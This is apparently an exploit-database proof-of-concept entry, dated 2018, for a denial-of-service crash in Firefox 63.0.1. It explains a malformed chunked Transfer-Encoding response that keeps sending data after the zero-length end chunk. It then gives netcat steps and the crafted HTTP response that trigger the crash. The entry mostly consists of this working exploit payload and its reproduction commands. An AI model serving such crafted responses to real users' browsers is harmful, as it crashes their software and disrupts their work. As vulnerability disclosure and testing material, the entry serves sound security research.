# Exploit Title: Mozilla Firefox 63.0.1 - Denial of Service (PoC)# Date: 2018-11-29# Exploit Author: SAIKUMAR CHEBROLU# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/# Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=1504512# Version: Firefox 63.0.1# Tested on: Windows 10# CVE : No CVE is been assigned to this bug.# To exploit this vulnerability please follow the below steps.# Firefox is being crashed, when it tried to process the chunked data. when Transfer-Encoding header # is used, we suppose to send the data in the chunks form. When all the chunks being transferred, # we need to tell the client with chunk length zero. so that it understands chunked stream completed. # But if we send the data after sending zero length, then firefox not able to understand it, # and it being crashed.# Example:
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firef
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Crash (after saying it is end, we still sending some data)
\r\n
# here we are saying no chunked data after this.so that it should end with \r\n. But we # are sending some data after this also. Like# Steps to reproduce the crash
1)download the firefoxcrash.txt
2)nc -lp 8000 < firefoxcrash.txt
3)browe the url from firefox likehttp://localhost:8000
4)then close the netcat client. then you will obserev the firefox crash.# fireforcrash.txt
HTTP/1.1 200 ok
Content-type: application/octet-stream
Content-disposition: attachment; filename="crash.txt"
Transfer-Encoding: chunked
Connection: close
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ally!
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foobar
